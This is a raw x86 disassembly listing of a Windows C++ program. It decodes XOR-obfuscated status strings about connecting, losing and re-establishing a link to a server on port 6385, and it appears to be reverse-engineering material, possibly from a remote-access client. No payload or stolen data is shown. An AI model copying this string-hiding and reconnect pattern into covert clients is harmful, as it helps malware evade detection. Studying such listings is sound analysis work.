mov eax, dword [ebp - 0x4cc]
add al, 0x19
xor al, 0x76
mov byte [ebp - 0x4af], al
mov eax, dword [ebp - 0x4cc]
add al, 0x1a
xor al, 0x65
mov byte [ebp - 0x4ae], al
mov eax, dword [ebp - 0x4cc]
add al, 0x1b
mov byte [ebp - 0x4ac], 0
xor al, 0x64
xor edx, edx
mov byte [ebp - 0x4ad], al
mov al, byte [ebp - 0x4c8]
nop dword [eax + eax]
mov al, byte [ebp + edx - 0x4c8]
mov ecx, dword [ebp - 0x4cc]
add cl, dl
xor cl, al
mov byte [ebp + edx - 0x4c8], cl
inc edx
cmp edx, 0x1c
jb 0x4031a0
mov byte [ebp - 0x4ac], 0
lea eax, [ebp - 0x4c8]
jmp 0x40245c
mov dword [ebp - 0x454], 0x22
mov eax, dword [ebp - 0x454]
xor al, 0x4c
mov byte [ebp - 0x450], al
mov eax, dword [ebp - 0x454]
inc al
xor al, 0x6f
mov byte [ebp - 0x44f], al
mov eax, dword [ebp - 0x454]
add al, 2
xor al, 0x73
mov byte [ebp - 0x44e], al
mov eax, dword [ebp - 0x454]
add al, 3
xor al, 0x74
mov byte [ebp - 0x44d], al
mov eax, dword [ebp - 0x454]
add al, 4
xor al, 0x20
mov byte [ebp - 0x44c], al
mov eax, dword [ebp - 0x454]
add al, 5
xor al, 0x63
mov byte [ebp - 0x44b], al
mov eax, dword [ebp - 0x454]
add al, 6
xor al, 0x6f
mov byte [ebp - 0x44a], al
mov eax, dword [ebp - 0x454]
add al, 7
xor al, 0x6e
mov byte [ebp - 0x449], al
mov eax, dword [ebp - 0x454]
add al, 8
xor al, 0x6e
mov byte [ebp - 0x448], al
mov eax, dword [ebp - 0x454]
add al, 9
xor al, 0x65
mov byte [ebp - 0x447], al
mov eax, dword [ebp - 0x454]
add al, 0xa
xor al, 0x63
mov byte [ebp - 0x446], al
mov eax, dword [ebp - 0x454]
add al, 0xb
xor al, 0x74
mov byte [ebp - 0x445], al
mov eax, dword [ebp - 0x454]
add al, 0xc
xor al, 0x69
mov byte [ebp - 0x444], al
mov eax, dword [ebp - 0x454]
add al, 0xd
xor al, 0x6f
mov byte [ebp - 0x443], al
mov eax, dword [ebp - 0x454]
add al, 0xe
xor al, 0x6e
mov byte [ebp - 0x442], al
mov eax, dword [ebp - 0x454]
add al, 0xf
xor al, 0x2e
mov byte [ebp - 0x441], al
mov eax, dword [ebp - 0x454]
add al, 0x10
xor al, 0x20
mov byte [ebp - 0x440], al
mov eax, dword [ebp - 0x454]
add al, 0x11
xor al, 0x52
mov byte [ebp - 0x43f], al
mov eax, dword [ebp - 0x454]
add al, 0x12
xor al, 0x65
mov byte [ebp - 0x43e], al
mov eax, dword [ebp - 0x454]
add al, 0x13
xor al, 0x63
mov byte [ebp - 0x43d], al
mov eax, dword [ebp - 0x454]
add al, 0x14
xor al, 0x6f
mov byte [ebp - 0x43c], al
mov eax, dword [ebp - 0x454]
add al, 0x15
xor al, 0x6e
mov byte [ebp - 0x43b], al
mov eax, dword [ebp - 0x454]
add al, 0x16
xor al, 0x6e
mov byte [ebp - 0x43a], al
mov eax, dword [ebp - 0x454]
add al, 0x17
xor al, 0x65
mov byte [ebp - 0x439], al
mov eax, dword [ebp - 0x454]
add al, 0x18
xor al, 0x63
mov byte [ebp - 0x438], al
mov eax, dword [ebp - 0x454]
add al, 0x19
xor al, 0x74
mov byte [ebp - 0x437], al
mov eax, dword [ebp - 0x454]
add al, 0x1a
xor al, 0x69
mov byte [ebp - 0x436], al
mov eax, dword [ebp - 0x454]
add al, 0x1b
xor al, 0x6e
mov byte [ebp - 0x435], al
mov eax, dword [ebp - 0x454]
add al, 0x1c
xor al, 0x67
mov byte [ebp - 0x434], al
mov eax, dword [ebp - 0x454]
add al, 0x1d
xor al, 0x2e
mov byte [ebp - 0x433], al
mov eax, dword [ebp - 0x454]
add al, 0x1e
xor al, 0x2e
mov byte [ebp - 0x432], al
mov eax, dword [ebp - 0x454]
add al, 0x1f
mov byte [ebp - 0x430], 0
xor al, 0x2e
xor edx, edx
mov byte [ebp - 0x431], al
mov al, byte [ebp - 0x450]
nop word [eax + eax]
mov al, byte [ebp + edx - 0x450]
mov ecx, dword [ebp - 0x454]
add cl, dl
xor cl, al
mov byte [ebp + edx - 0x450], cl
inc edx
cmp edx, 0x20
jb 0x4033f0
push 0x403f20
lea eax, [ebp - 0x450]
mov byte [ebp - 0x430], 0
push eax
push dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.00403cf0
add esp, 8
mov ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
nop word [eax + eax]
mov byte [ebp - 0x4c4], 0x48
mov byte [ebp - 0x4c3], 0x74
mov byte [ebp - 0x4c2], 0x73
mov byte [ebp - 0x4c1], 0x73
mov byte [ebp - 0x4c0], 0x6a
mov byte [ebp - 0x4bf], 0x68
mov byte [ebp - 0x4be], 0x79
mov byte [ebp - 0x4bd], 0x6e
mov byte [ebp - 0x4bc], 0x73
mov byte [ebp - 0x4bb], 0x6c
mov byte [ebp - 0x4ba], 0x25
mov byte [ebp - 0x4b9], 0x79
mov byte [ebp - 0x4b8], 0x74
mov byte [ebp - 0x4b7], 0x25
mov byte [ebp - 0x4b6], 0x79
mov byte [ebp - 0x4b5], 0x6d
mov byte [ebp - 0x4b4], 0x6a
mov byte [ebp - 0x4b3], 0x25
mov byte [ebp - 0x4b2], 0x58
mov byte [ebp - 0x4b1], 0x6a
mov byte [ebp - 0x4b0], 0x77
mov byte [ebp - 0x4af], 0x7b
mov byte [ebp - 0x4ae], 0x6a
mov byte [ebp - 0x4ad], 0x77
mov byte [ebp - 0x4ac], 0
mov al, byte [ebp - 0x4c4]
xor eax, eax
nop word [eax + eax]
mov cl, byte [ebp + eax - 0x4c4]
sub cl, 5
mov byte [ebp + eax - 0x4c4], cl
inc eax
cmp eax, 0x18
jb 0x403500
push 0x403f20
lea eax, [ebp - 0x4c4]
push eax
push dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.00403cf0
add esp, 8
mov ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
push dword [0x40a234]
lea eax, [ebp - 0x47c]
push dword [0x40a230]
lea ecx, [ebp - 0x4a0]
push 0x18f1
push eax
call fcn.00404b90
test eax, eax
je 0x40378a
mov dword [ebp - 0x470], 0x6e
xor edx, edx
mov byte [ebp - 0x46c], 0x2b
mov byte [ebp - 0x46b], 0x1c
mov byte [ebp - 0x46a], 0x1c
mov byte [ebp - 0x469], 1
mov byte [ebp - 0x468], 0x1c
mov byte [ebp - 0x467], 0x4e
mov byte [ebp - 0x466], 0xd
mov byte [ebp - 0x465], 1
mov byte [ebp - 0x464], 0
mov byte [ebp - 0x463], 0
mov byte [ebp - 0x462], 0xb
mov byte [ebp - 0x461], 0xd
mov byte [ebp - 0x460], 0x1a
mov byte [ebp - 0x45f], 7
mov byte [ebp - 0x45e], 0
mov byte [ebp - 0x45d], 9
mov byte [ebp - 0x45c], 0x4e
mov byte [ebp - 0x45b], 0x1a
mov byte [ebp - 0x45a], 1
mov byte [ebp - 0x459], 0x4e
mov byte [ebp - 0x458], 0x1a
mov byte [ebp - 0x457], 6
mov byte [ebp - 0x456], 0xb
mov byte [ebp - 0x455], 0x4e
mov byte [ebp - 0x454], 0x1d
mov byte [ebp - 0x453], 0xb
mov byte [ebp - 0x452], 0x1c
mov byte [ebp - 0x451], 0x18
mov byte [ebp - 0x450], 0xb
mov byte [ebp - 0x44f], 0x1c
mov byte [ebp - 0x44e], 0x40
mov byte [ebp - 0x44d], 0x4e
mov byte [ebp - 0x44c], 0x3c
mov byte [ebp - 0x44b], 0xb
mov byte [ebp - 0x44a], 0xd
mov byte [ebp - 0x449], 1
mov byte [ebp - 0x448], 0
mov byte [ebp - 0x447], 0
mov byte [ebp - 0x446], 0xb
mov byte [ebp - 0x445], 0xd
mov byte [ebp - 0x444], 0x1a
mov byte [ebp - 0x443], 7
mov byte [ebp - 0x442], 0
mov byte [ebp - 0x441], 9
mov byte [ebp - 0x440], 0x4e
mov byte [ebp - 0x43f], 7
mov byte [ebp - 0x43e], 0
mov byte [ebp - 0x43d], 0x4e
mov byte [ebp - 0x43c], 0x5b
mov byte [ebp - 0x43b], 0x4e
mov byte [ebp - 0x43a], 0x1d
mov byte [ebp - 0x439], 0xb
mov byte [ebp - 0x438], 0xd
mov byte [ebp - 0x437], 1
mov byte [ebp - 0x436], 0
mov byte [ebp - 0x435], 0xa
mov byte [ebp - 0x434], 0x1d
mov byte [ebp - 0x433], 0x40
mov byte [ebp - 0x432], 0x40
mov byte [ebp - 0x431], 0x40
mov al, byte [ebp - 0x46c]
mov byte [ebp - 0x430], 0
mov al, byte [ebp + edx - 0x46c]
mov ecx, dword [ebp - 0x470]
xor cl, al
mov byte [ebp + edx - 0x46c], cl
inc edx
cmp edx, 0x3c
jb 0x403721
push 0x403f20
lea eax, [ebp - 0x46c]
mov byte [ebp - 0x430], 0
push eax
push dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.00403cf0
add esp, 8
mov ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
lea ecx, [ebp - 0x57c]
mov dword [ebp - 0x57c], 5
mov dword [ebp - 0x578], 0
call fcn.00403f50
jmp 0x403440
mov dword [ebp - 0x458], 0x41
mov eax, dword [ebp - 0x458]
xor al, 0x53
mov byte [ebp - 0x454], al
mov eax, dword [ebp - 0x458]
inc al
xor al, 0x75
mov byte [ebp - 0x453], al
mov eax, dword [ebp - 0x458]
add al, 2
xor al, 0x63
mov byte [ebp - 0x452], al
mov eax, dword [ebp - 0x458]
add al, 3
xor al, 0x63
mov byte [ebp - 0x451], al
mov eax, dword [ebp - 0x458]
add al, 4
xor al, 0x65
mov byte [ebp - 0x450], al
mov eax, dword [ebp - 0x458]
add al, 5
xor al, 0x73
mov byte [ebp - 0x44f], al
mov eax, dword [ebp - 0x458]
add al, 6
xor al, 0x73
mov byte [ebp - 0x44e], al
mov eax, dword [ebp - 0x458]
add al, 7
xor al, 0x66
mov byte [ebp - 0x44d], al
mov eax, dword [ebp - 0x458]
add al, 8
xor al, 0x75
mov byte [ebp - 0x44c], al
mov eax, dword [ebp - 0x458]
add al, 9
xor al, 0x6c
mov byte [ebp - 0x44b], al
mov eax, dword [ebp - 0x458]
add al, 0xa
xor al, 0x6c
mov byte [ebp - 0x44a], al
mov eax, dword [ebp - 0x458]
add al, 0xb
xor al, 0x79
mov byte [ebp - 0x449], al
mov eax, dword [ebp - 0x458]
add al, 0xc
xor al, 0x20
mov byte [ebp - 0x448], al
mov eax, dword [ebp - 0x458]
add al, 0xd
xor al, 0x63
mov byte [ebp - 0x447], al
mov eax, dword [ebp - 0x458]
add al, 0xe
xor al, 0x6f
mov byte [ebp - 0x446], al
mov eax, dword [ebp - 0x458]
add al, 0xf
xor al, 0x6e
mov byte [ebp - 0x445], al
mov eax, dword [ebp - 0x458]
add al, 0x10
xor al, 0x6e
mov byte [ebp - 0x444], al
mov eax, dword [ebp - 0x458]
add al, 0x11
xor al, 0x65
mov byte [ebp - 0x443], al
mov eax, dword [ebp - 0x458]
add al, 0x12
xor al, 0x63
mov byte [ebp - 0x442], al
mov eax, dword [ebp - 0x458]
add al, 0x13
xor al, 0x74
mov byte [ebp - 0x441], al
mov eax, dword [ebp - 0x458]
add al, 0x14
xor al, 0x65
mov byte [ebp - 0x440], al
mov eax, dword [ebp - 0x458]
add al, 0x15
xor al, 0x64
mov byte [ebp - 0x43f], al
mov eax, dword [ebp - 0x458]
add al, 0x16
xor al, 0x20
mov byte [ebp - 0x43e], al
mov eax, dword [ebp - 0x458]
add al, 0x17
xor al, 0x74
mov byte [ebp - 0x43d], al
mov eax, dword [ebp - 0x458]
add al, 0x18
xor al, 0x6f
mov byte [ebp - 0x43c], al
mov eax, dword [ebp - 0x458]
add al, 0x19
xor al, 0x20
mov byte [ebp - 0x43b], al
mov eax, dword [ebp - 0x458]
add al, 0x1a
xor al, 0x74
mov byte [ebp - 0x43a], al
mov eax, dword [ebp - 0x458]
add al, 0x1b
xor al, 0x68
mov byte [ebp - 0x439], al
mov eax, dword [ebp - 0x458]
add al, 0x1c
xor al, 0x65
mov byte [ebp - 0x438], al
mov eax, dword [ebp - 0x458]
add al, 0x1d
xor al, 0x20
mov byte [ebp - 0x437], al
mov eax, dword [ebp - 0x458]
add al, 0x1e
xor al, 0x53
mov byte [ebp - 0x436], al
mov eax, dword [ebp - 0x458]
add al, 0x1f
xor al, 0x65
mov byte [ebp - 0x435], al
mov eax, dword [ebp - 0x458]
add al, 0x20
xor al, 0x72
mov byte [ebp - 0x434], al
mov eax, dword [ebp - 0x458]
add al, 0x21
xor al, 0x76
mov byte [ebp - 0x433], al
mov eax, dword [ebp - 0x458]
add al, 0x22
xor al, 0x65
mov byte [ebp - 0x432], al
mov eax, dword [ebp - 0x458]
add al, 0x23
mov byte [ebp - 0x430], 0
xor al, 0x72
xor edx, edx
mov byte [ebp - 0x431], al
mov al, byte [ebp - 0x454]
mov al, byte [ebp + edx - 0x454]
mov ecx, dword [ebp - 0x458]
add cl, dl
xor cl, al
mov byte [ebp + edx - 0x454], cl
inc edx
cmp edx, 0x24
jb 0x4039e1
mov byte [ebp - 0x430], 0
lea eax, [ebp - 0x454]
jmp 0x40245c
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3